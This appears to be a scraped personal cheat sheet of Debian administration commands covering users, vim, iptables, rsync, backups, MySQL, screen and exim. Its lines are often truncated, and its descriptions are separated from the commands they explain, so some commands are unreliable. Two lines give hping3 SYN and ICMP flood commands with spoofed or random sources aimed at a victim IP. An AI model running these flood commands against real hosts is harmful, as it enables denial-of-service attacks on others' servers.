Anda di halaman 1dari 40

List of debian Commands:

powerof
how copy files: check note>>>
date
cd (path)
passwd

deluser [options] [--remove-home] [--home DIR] [--remove-all-files] [--backup] [--backup-to] us

cat /etc/passwd | cut -d: -f1


cat /etc/group |cut -d: -f1
All users management commands in notes
Ctrl+ z
Ctrl+ c
fg
bg
# touch file_name

<< command is the easiest way to create new, empty

kill %1
jobs
ls ../
ls -l
In vim >> i
In vim >> :x
In vim >> escape button
iptables -L -v
vi ~/.vimrc (new file)>>>(append) set number
CTRL + d

* To find a word in VI / Vim, just type "/" or "?", followed by the word yo

* Another feature is to launch a search on the word where the cursor is


vim : To cut (or copy) and paste using visual selection:

Position the cursor at the beginning of the text you want to cut/copy.
Press v to begin character-based visual selection (or upper case V to s
Move the cursor to the end of the text to be cut/copied. (While selectin
feature that sets vim apart from most other editors.)
Press d (as in "delete") to cut, or y (as in "yank", which I imagine mean
Move the cursor to the desired paste location.
Press p to paste after the cursor, or P to paste before.
In gvim, visual marking (steps 1-3) can be replaced by selecting text u
navigate using the keyboard.

Bonus tip: To replace the selected text with new text (to be entered by
leaves you in insert mode. Then, instead of (or prior to) steps 5-6, type
sudo service nginx "argumnet"
nginx -t

what I used to change user name with keeping his groups and
1) usermod -dm heisenberg -Ga heisenberg,sudo -l heisenberg do
2) usermod -d heisenberg -m -G heisenberg,sudo -a -l heisenberg do

3) result was ok with all options and groups appended and password b
usermod -m -d /path/to/new/home/dir userNameHere
rm or unlink <link name>
usermod -g <NewPrimaryGroupName> <CurrentUserName>

dpkg --get-selections|grep <app name> >> then use apt-get purge <
sudo iptables -F
ps -A
mv [option:-v] <file1> <file2> <file2> <distination>
rmdir <folder_name>
unzip <ziped_file_name>
cat /dev/null > file.txt

cp -rv <folder_sourec>/ <folder_target>/ (ex: cp -rv test-pages/ public


cp -rv <folder_sourec>/ .
cp -rv <folder_sourec>/* <folder_target>/

Search a file or any output and more:


grep word filename

or grep word file1 file2 file3

Mysql console Commands:


# mysql -u username -p
# show databases;
# use db_name;
# grant all on db_name.* to 'username'@'localhost';
# set password for 'username'@'localhost'=password('new-passwd');
# drop database <db_name>
* Copy files:

rsync -av ./* metropolis/ --exclude=metropolis << (a) options replace

beaware that (*) arsetic deosn't equal "recurrsive'' it only goes one level deep in "rsync"

# sudo rm -rvI *

# sudo rm -rvI public/* << the uppercase (i) asks only once to aviod m

* Backup commands and restore and all:

1) sudo tar -cvpzf 3qnx_server_full_nginx_php5fpm_barebone.tar.gz --

2) sudo scp -c arcfour -v -p /home/heisenberg/Backup_Files/3qnx_serve


3) tar -xvpzf 3qnx_server_full_nginx_php5fpm_barebone.tar.gz -C /

* Import sql dumb file into new db out the mysql console:
mysql -p -u username(of the db) database_name < /path/file.sql

* Export mysql database: (execute this command ouside mysq


mysqldump -u username -p database_name > database_name.sql

* New safe and flexible way for deleting files or folders and mo
find . -path ./<folder_name> -prune -o ! -path . -ls
or with same result and easier >>

find . mindepth 1 -path ./<folder_name> -p

for action u can use : -exec <command> {} +


For multible folders use the below syntax:

find . -type d \( -path ./<folder_name1> -o -path ./<folder_name2> \)

or with same result and easier >> find . mindepth 1 -type d \( -path
for action u can use : -exec <command> {} +

* For testing commands the following will help create dummy


The steps are: 1- $ mkdir a b c d e
2- $ touch a/1 b/2 c/3 d/4 e/5 e/a e/b
* Creating soft sym- links:
ln -s <target_folder or files> <the_shortcut(link)_path>
* Creating a resumable ssh session by "Screen" steps:

(to aviod k

1) type screen << u'll then works through the app.

2) screen -r << to resume the session ##### screen -d << to deat

3) screen -D -r screensession_name << helps if screen -r doesn't wor


Extra commands:
CTRL+a,thenc >>> to create a new window
CTRL+a,ntoswitchtothenextwindowinyourscreensession
CTRL+a,ptoswitchtothepreviouswindowinyourscreensession
Ctrl + a (there wont be any changes in your window now) type :quit

Mount shared folder to debian from windows:

mount -t vboxsf windows_shared_folder_name path/to/linux_folder_nam

To check which version of package is installed on system comp


apt-cache policy package_name

dpkg -I name_of_deb_package << ex: dpkg -I nginx-1.4.4+1~bo145.

To test I/O disk speed

dd if=/dev/zero of=sb-io-test bs=1M count=1k conv=fdatasync && rm

dd if=/dev/zero of=iotest bs=64k count=16k conv=fdatasync && rm time sh -c "dd if=/dev/zero of=ddfile bs=8k \

plus count=250000

* Activate dropbox:
/usr/bin/python dropbox.py
Monitor packets that reach the server:
vnstat -l -i venet0
How to flood server:
hping3 -q -n -a 10.0.0.1 --id 0 --icmp -d 56 --floodtarget_ip_address
Syn flood attack
hping3 -i u1 -S -p <victim port> <victim ip> --flood --rand-source

To measure Total memory used by PHP-FPM child processes

ps -ylC php5-fpm --sort:rss | awk '!/RSS/ { s+=$8 } END { printf "%s\n

To Find Cache Memory uses in Linux


free -m

mysqldump -u 3qdatabase -p 3qdotcomwp260 > database_3qlani_03_

shuts down server with no question asked

shows time & date


goes to the path specified
changes password
deletes user and even if specified all his files
lists all users in the system
lists all groups in the system

suspends forground process (job) and it sent to background


kills (stops) forground process (job)
brings background process to forground

With a program suspended will allow it to run in the background (the program's output will still go to t

kill a suspended program, you don't have to bring it back withfgfirst


If you have multiple suspended commands, running, it will be listed
List the contents of theparent directory.

In the above example this command would list each of the files in the
to start inserting from clipboard
to save and exit
to exit a insert mode or any mode
list the active rules with -L, and -v for information on packets afected
display line numbering in vim
logs out or get back to your user level (after su) (or a diferent user)

* or # to to look it up.

argumnets are: stop, start, status


tests nginx config. Files sytax and health

ged as him since I didn't specify the new folder path..


Change Existing User's Home Directory with moving it if wanted

Linux Delete Symbolic Link ( Softlink )


changes the primary group of a user

Lists all packeges installed with a application and then you could delete them all
set the rules back to the default by flushing and deleting all of them
Lists all running services
moves file(s) to distination
delete folder in same directory
un-zip file in the same directory
clears the file contents to zero size file (great for flushing logs)

verbose + copy directories inside directory and files recursively.. Don't forget / so linux knows it's deal
.. Copies to the current folder but if used 2 dot means the previous folder on the tree.
.. Copies all files and folders inside source but now source folder.. Don't forget -r for subdirectories

prints each line that has the word.. And for more options check man page.

to login with passwd


Lists all databases on the mysql server
To focus on db so u can edit it.
grant all prevligies to user to all tables of selected db .*
set passwd
deletes db

The best command for copy & fast with exclude option no need for cp anymore

wer case since it difers between commands

delete contents of current folder -r >> recurrsive v >> verbose

I>> only one warning

delete contents of the folder only but not the folder that why we put asterisk. -r >> recurrsive v >>

Backup command
secure copy to server
Restore command

then enter password to import the new and do all this outside the mysql console

execute action on all current directory (.) content but excluding one folder and it's whole content. The

mindepth 1 = ! -path . >> (is to exclude the current directory itself but not the content al

! -path . (is to exclude the current directory itself but not the content always use it to prot

mindepth 1 = ! -path . >> (is to exclude the current directory itself but not the content al

creates empty files inside each folder

Creating soft sym- links and if u don't specify the shortcut name it will take the target folder or file nam

terminates session

, s/1024 }'

with -delete action since it includes -depth option and cancels =prune.. ! -path . (is to exclude the current

h . (is to exclude the current directory itself but not the content always use it to protect current di

ys use it to protect current direc.)

* Adding aliases to .bashrc to shortcut commands steps:


1) alias shortcut_name='command to be aliased'
2) source .bashrc

* Exim4 cheatsheet:
exim -v mail@address.com
exim -bp | exiqgrep -i | xargs exim -Mrm
exim -Mrm {message-id}

add this to .bashrc file

send test mail with debugging


flush mail queue
delete one message

mysql -u root -p$rootpw -e "$db"


if [ $? != "0" ]; then
echo "[Error]: Database creation failed"
exit 1
else
echo "------------------------------------------"
echo " Database has been created successfully "
echo "------------------------------------------"
Bash
script
echo " DB
Info: " to create MySQL database
echo ""
echo " DB Name: $dbname"
echo " DB User: $dbuser"
echo " DB Pass: $dbpw"
echo ""
echo "------------------------------------------"
fi

and user:

Mysql console Commands:


# mysql -u username -p
# show databases;
# use db_name;
# grant all on db_name.* to 'username'@'localhost';
# set password for 'username'@'localhost'=password('new-passwd');
# drop database <db_name>
# Show all data in a table.

Discover the character set and collation of a database

1- USE your_database_of_interest; >> 2- show variables like "charac

Discover default character set and collation for the MySQL ser
SHOW VARIABLES LIKE 'character_set%'

and

SHOW VARIABLES LIK

to login with passwd


Lists all databases on the mysql server
To focus on db so u can edit it.
grant all prevligies to user to all tables of selected db .*
set passwd
deletes db
mysql> SELECT * FROM [table name];

set_database"; and show variables like "collation_database";

ollation%';

Anda mungkin juga menyukai